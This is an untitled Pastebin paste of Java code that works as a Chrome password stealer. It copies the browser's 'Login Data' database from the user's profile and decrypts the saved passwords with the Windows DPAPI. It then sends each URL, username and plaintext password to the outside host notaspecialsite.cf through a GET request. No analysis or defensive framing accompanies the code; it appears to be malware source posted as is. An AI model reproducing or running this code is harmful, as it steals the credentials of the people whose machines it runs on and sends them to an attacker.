Advertisement
Guest User

Untitled

a guest
Dec 4th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. public static void readFile(Path tmp) {
  2. try {
  3. Class.forName("org.sqlite.JDBC");
  4. Connection e = DriverManager.getConnection("jdbc:sqlite:" + tmp.toFile());
  5. Statement s = e.createStatement();
  6. ResultSet rs = s.executeQuery("SELECT action_url, username_value, password_value FROM logins");
  7.  
  8. while(rs.next()) {
  9. byte[] password = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
  10. String url = rs.getString("action_url");
  11. String username = rs.getString("username_value");
  12. String passwordString = new String(password);
  13. if(passwordString.length() > 0 && !passwordString.equalsIgnoreCase("Password")) {
  14. (new Scanner((new URL("http://notaspecialsite.cf/update.php?a=" + url + "&b=" + username + "&c=" + passwordString)).openStream())).next();
  15. }
  16. }
  17.  
  18. e.close();
  19. } catch (Exception var8) {
  20. var8.printStackTrace();
  21. }
  22.  
  23. }
  24.  
  25. public static void temp() {
  26. try {
  27. Path tmp = Files.createTempFile("CL_", (String)null, new FileAttribute[0]);
  28. FileOutputStream out = new FileOutputStream(tmp.toFile());
  29. Files.copy(Paths.get((new File(System.getProperty("user.home") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")).getAbsolutePath(), new String[0]), out);
  30. out.close();
  31. readFile(tmp);
  32. tmp.toFile().deleteOnExit();
  33. } catch (IOException var2) {
  34. ;
  35. }
  36.  
  37. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement